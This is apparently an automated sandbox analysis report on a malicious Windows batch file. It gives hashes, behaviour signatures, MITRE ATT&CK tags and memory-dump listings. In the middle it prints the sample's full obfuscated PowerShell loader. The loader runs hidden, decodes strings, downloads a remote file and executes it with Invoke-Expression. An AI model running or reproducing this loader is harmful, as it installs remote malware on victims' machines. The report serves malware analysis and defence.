1bf09bcb5bfa440fc6ce5c1d3f310fb274737248bf9acdd28bea98c9163a745a

Analysis

max time kernel
147s
max time network
147s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-10-2024 14:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

rComandaKOMARONTRADESRL435635Lukketid.bat
Size

6KB
MD5

86c67fcc3df920319f706b16d26a9d92
SHA1

4f66cf0abe3a9d5c617d752c01e7b7de5d1baf0d
SHA256

1bf09bcb5bfa440fc6ce5c1d3f310fb274737248bf9acdd28bea98c9163a745a
SHA512

45239f2533c001bd332c2ae669f0d25fcba4316665a193306b865e780595e480c08cb407d4c5a883ecd16ff5fc59e35d78174c2b0fe275ef2c0e734ecd5f7841
SSDEEP

192:1HpiJn8QCifmYSfSQYoQZ6DUOsPsRXxVm+:QntZuSbzUiPKBR

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 62 IoCs

flow	pid	Process
5	2368	powershell.exe
6	2368	powershell.exe
7	2368	powershell.exe
8	2368	powershell.exe
9	2368	powershell.exe
10	2368	powershell.exe
11	2368	powershell.exe
12	2368	powershell.exe
13	2368	powershell.exe
14	2368	powershell.exe
15	2368	powershell.exe
16	2368	powershell.exe
17	2368	powershell.exe
18	2368	powershell.exe
19	2368	powershell.exe
20	2368	powershell.exe
21	2368	powershell.exe
22	2368	powershell.exe
23	2368	powershell.exe
24	2368	powershell.exe
25	2368	powershell.exe
26	2368	powershell.exe
27	2368	powershell.exe
28	2368	powershell.exe
29	2368	powershell.exe
30	2368	powershell.exe
31	2368	powershell.exe
32	2368	powershell.exe
33	2368	powershell.exe
34	2368	powershell.exe
35	2368	powershell.exe
36	2368	powershell.exe
37	2368	powershell.exe
38	2368	powershell.exe
39	2368	powershell.exe
40	2368	powershell.exe
41	2368	powershell.exe
42	2368	powershell.exe
43	2368	powershell.exe
44	2368	powershell.exe
45	2368	powershell.exe
46	2368	powershell.exe
47	2368	powershell.exe
48	2368	powershell.exe
49	2368	powershell.exe
50	2368	powershell.exe
51	2368	powershell.exe
52	2368	powershell.exe
53	2368	powershell.exe
54	2368	powershell.exe
55	2368	powershell.exe
56	2368	powershell.exe
57	2368	powershell.exe
58	2368	powershell.exe
59	2368	powershell.exe
60	2368	powershell.exe
61	2368	powershell.exe
62	2368	powershell.exe
63	2368	powershell.exe
64	2368	powershell.exe
65	2368	powershell.exe
66	2368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2368	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2368	2316	cmd.exe	32
PID 2316 wrote to memory of 2368	2316	cmd.exe	32
PID 2316 wrote to memory of 2368	2316	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\rComandaKOMARONTRADESRL435635Lukketid.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Blokfri Idioelectric Anikis Alveolate Foreteelses Konsultationstidens #>;$Synkrocyklotroner='schoolie';<#Circumorbital Gastrologists Tachygraphical Aegises Skyldnersvigens #>;$Udmelder=$Megadontia+$host.UI;function Bilinspektrerne($appast){If ($Udmelder) {$Scooterstvlers++;}$Unsecurableness=$Sallnternalized+$appast.'Length'-$Scooterstvlers; for( $Sall=4;$Sall -lt $Unsecurableness;$Sall+=5){$Balsatr++;$Lushness+=$appast[$Sall];$Brydetag='Wrox';}$Lushness;}function Curtnesses178($Kuvertbrd){ &($Demandant) ($Kuvertbrd);}$Heraldisk237=Bilinspektrerne ' DatMPs coSortzTatti BurlUndelPo,da Boh/nu h ';$Heraldisk237+=Bilinspektrerne 'Kart5 Fes. s e0Jims Reph( icrW P aiAdpmn FoddXenooMel.w LissBib T,rnN ompTAcan F gl1Blom0Coni. Pen0Bl,k; uss Be aW Ssti Nolnpar,6Am.l4Haan;Efte LevxHydr6 Orb4 all;inds I,terAa sv Enk: Prc1Band3Cer 1 Sp .Fluo0Fors)Sce. KaldG rbeeBitucDynek ouoMult/c rp2Mann0Veli1ta l0Syno0Klau1 Vig0 R.m1 Int geFS,lei etrrBandeVigefPrepoRevexDril/Mods1 ubl3Arta1 has.Sost0Phot ';$Tingenes=Bilinspektrerne 'PlasuWahwSUrmieFr dR uv-P eta Sogg adE C,snHersTPiva ';$Electrodeposition=Bilinspektrerne 'Ur.ahAgentEgy,t Ha.pBanasLeve:Ger /De,t/St lcGummaSubarcande,edief lerKolofAssuiFanfn ra d,ybveUd er .no. Vrer GyroMisl/ BioSalphlHun dMille ertnOarmsEmbo.PlendHofts TagpBorn ';$Lithotype=Bilinspektrerne 'Selv> ono ';$Demandant=Bilinspektrerne ' Av iStyre ConxEl c ';$Fusteric='Harmonizer';$Countercyclical104='\Studenterunderviserens.Pro';Curtnesses178 (Bilinspektrerne 'stic$StrogPriolZemio Rr BMaleAVagrlSala:ProlS MinlSlaba Picg U ctLoconUk.rIStepNBestGBvseE AdenTermSMoon=Jerq$StvsEP odNTy ev,ubj:PentAArv pHomop k.hDLympaT,iltIn,raHe e+Illa$GlooCN tioBestuSa fNOv,rTDru.e AllrStetC NedyEnerCRev LDefoI ,enc HelA I.dlDobb1Meso0Tord4Inan ');Curtnesses178 (Bilinspektrerne 'dar $ ncogGesjL Os OUncoBAcylaSworlLipa:Cl,sounsnVBaiseWeptRInp DLeveEBygrfaverIMarxNConseRiaad Fir=Konc$Ri,heS ovlForsEK.abc ,efT ortR R gOUnbeDGr,oERebuPG.osO UdfSOut IElemTAffai,isco raN maa.H posFamiPVariLPo,yiFa lT ,oe(Dise$MickLSpecILserT ,olh.telO DawtCyclY ,orp F deopre) ero ');Curtnesses178 (Bilinspektrerne 'Mass[,utoN Hene N nTTo d. orsPhipE ReiR RelV Maki.ensCS.yreDagtpIgnooSa.dI,rpeN Klit uteMDol,ADel nSmaraIdenGPearECorbrStra]Zo l:El c:F igSU coEbaneCUngduafg.R kui Ha.TUndeyResspEmi RLupeo iptF emOCantCBaroOPosiLPa.s Leve=Fort gany[For N f reMyoftUdre.PerfS sthENonccNybyUSeksrCorrITrevt Al,YbrdspVaskrSpleo GerT emioBiclc I hoSu eLSembt oryTilrPMu,ie I n]Ener:Jeun:NydttAareL olkSAdje1All 2 Stu ');$Electrodeposition=$Overdefined[0];$Etapernes1=(Bilinspektrerne 'Char$.pisgAga LPyroOGruebUnc a ntoLspea: mregw lfUCen NTequs T rTSkenO mdanD veEinun=TrueNJan,E IllwJilt-BeviOI.teb Nu jAflseSemiCPerit ex Pre,SSagtYHueasIndmTKaj,ERe,lm B y. oglNSoucEPropt Tek.nonuwBarrECourB tenCAndeLCalyICloieSkumNFlocTSarc ');Curtnesses178 ($Etapernes1);Curtnesses178 (Bilinspektrerne 'R ci$SkorG BetuGemon consKavatUlceo DrinConvePimp.TeleH.egoeSenaaBanndSpi eKontr Ky,sbolo[Kond$AfmaTNdhjiSpe.nEksagAilueKlasn u feTelesKof ]A.va=Theo$D niHRodte edlrLkkeaPan,l ekodSchoitr psAnenk Har2Imme3Reci7Grun ');$Rigsbiblioteker=Bilinspektrerne 'Napp$humoG Y cuI.fin Ha sArv tBarso alnAlareS ry.Fou DEs,aoH stw ammnVaablMonooEvanaBe idRhytFPenuiArkil Bo esen (.urm$Non.E KallNetteHonecSpintFagurThumoU gldFol.eV ltp AdsoIdeasForfinatutPropi ParoBou,nw ir, Mih$CalcD Be iRygesPreeiPosinKi rfRawieMedssConctAut )Frys ';$Disinfest=$Slagtningens;Curtnesses178 (Bilinspektrerne 'O.is$Haskgbridl T,oOMinkBSekuaUafvlMeso: VedcDvstICh rGSol A GemRkee HForsATi.lNEkmadKogeeAnt lFalh=oute( FactKl.iEmot S Dyrtbrig-AbsupIndhATranTBugrhhidl Schi$ se.D CatiPolysSoftiSylpnP ylFBonkEUnens Fast uch)Styr ');while (!$Cigarhandel) {Curtnesses178 (Bilinspektrerne 'Rent$StudgNedslBogpoHamibForsaidiolHi s:uforPAlstaNon.sAfgitExcaoBereu NecrSki.eOverl D,llRegie.ete=A er$ GartMel rU,feu raceImpe ') ;Curtnesses178 $Rigsbiblioteker;Curtnesses178 (Bilinspektrerne 'PateSKon t MonaY.mmrOvertVo d-DystSDefilOprmEPastEblidPHjfr ca4 Se ');Curtnesses178 (Bilinspektrerne 'Papi$AllegUrinlE keophrebbullaFai LBill:regnCRudeIUncaGSpluASestRFunkhDursa MednUrs d lose G,gLBoll=H er(MandTProdeStarSs vsTUnde- onoPEm gaDo.eTundsHLekt edw$P,dodHypoIBasnSNeosIPa inu lef PereKlynSKa eTS dd)Actu ') ;Curtnesses178 (Bilinspektrerne ' ,ar$ An.gSpinLHeavo Ta BPuddaC raLSp t:DuplsFastv illA WonLDogteUdp,gIma.a omaNNedvg f rS osthSonoUNo.es Boue Sk tC rosmetr=Da.f$GermgUdr L,iglO clab HreAQuaklB nd:StorDNaver HeriUdsaV PlaI etsSkr,+Sol +Derm%n,nd$NonrORespv UsseKar RTra,DArioE klifDualiRebaNKa pEMachDUnd..Str CCocyoUnteUBencn raTVidn ') ;$Electrodeposition=$Overdefined[$Svalegangshusets];}$Klarinetten212=301357;$bitters=30845;Curtnesses178 (Bilinspektrerne 'K.it$BemaGStigLErfaoBrddBSpidaSkavlMont:TilseSoemr.letiSyntkIsfyOJoch7Flak0S rn nont= Ko Clog F,reRegiTu,de-glimCInseoBr snAnbrtN.nae ProNVrigTMig, Toxi$BogaDAntiiRensS ,lyiM ndn SkyfMotoEGeocsMyrrtKnis ');Curtnesses178 (Bilinspektrerne ' For$DagagLinil Slao NigbAlfeaMandlBue :TurbBtungeHyg c ThucLydsaApe f alaipo rcuneaoCarc Epic=Rund List[Sod S ChlyCra,s rthtRelbe ,eim Tor.FavoCHamlo BisnO,tevInvoeLandrSmertLiby] ele:K mm:FodsF Ar,rBi aoIrremsl.pBRea,aFoolsMik.e.tep6Brne4Un.eS SamtH gerT,iaiHogtnstlngTran(St.t$SpilESpilr U,oisupek.aktoClad7Mukk0B.fo)iso, ');Curtnesses178 (Bilinspektrerne 'Mult$AflbG,ivilPiniOQuadB levAReg,lAcro:DubbPS neu.xtrRH lsiE actImpeA lasnMule Ud m=Ther Hype[For,sDi lyUdk s.ilbTBef.eNonsmCurv. dreT eacePostX ainTPhon.gavoeHvetnYnglCDiffOGr pdVertICon nSlatgKlas] oe:Alm,: huAUndlsDamnCSkriITr ni Sil. H yG ForESkolTIvriSRaguTD.meRUfo I Po,nUdsagF er(Heli$Baryb rooe TaccAd ecCapeaBr,gFJordiDem CTra oTr.p)Dat ');Curtnesses178 (Bilinspektrerne 'Basi$ PacGf,nkLT.llOBrdgBFremADecalfel :LittfStafO EmbRDaitm roUInsieDiskOTugtMS.rusG.unt ktiN.kspDUnelISommgViduHGravEelfedOve sDybf=Komm$Svu,pDivuu B mRSweeiHex TO tha KdenBlin. UnmsForfu FecBKamesInfiTBanaR Hi iMoleNTrangRand(Eury$TotukContLStudaInfaR F mImedvnBusiEUf rtGemetSpa EMy tNTyv.2Outc1 Anp2Stal,Char$HoejbM,taIM.ddt TidTTurgeCerarEdlas Rav)Gr,v ');Curtnesses178 $Formueomstndigheds;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2368-4-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

Filesize
4KB

Download
memory/2368-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2368-7-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2368-8-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-9-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-10-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-11-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-12-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-13-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

Filesize
4KB

Download
memory/2368-14-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download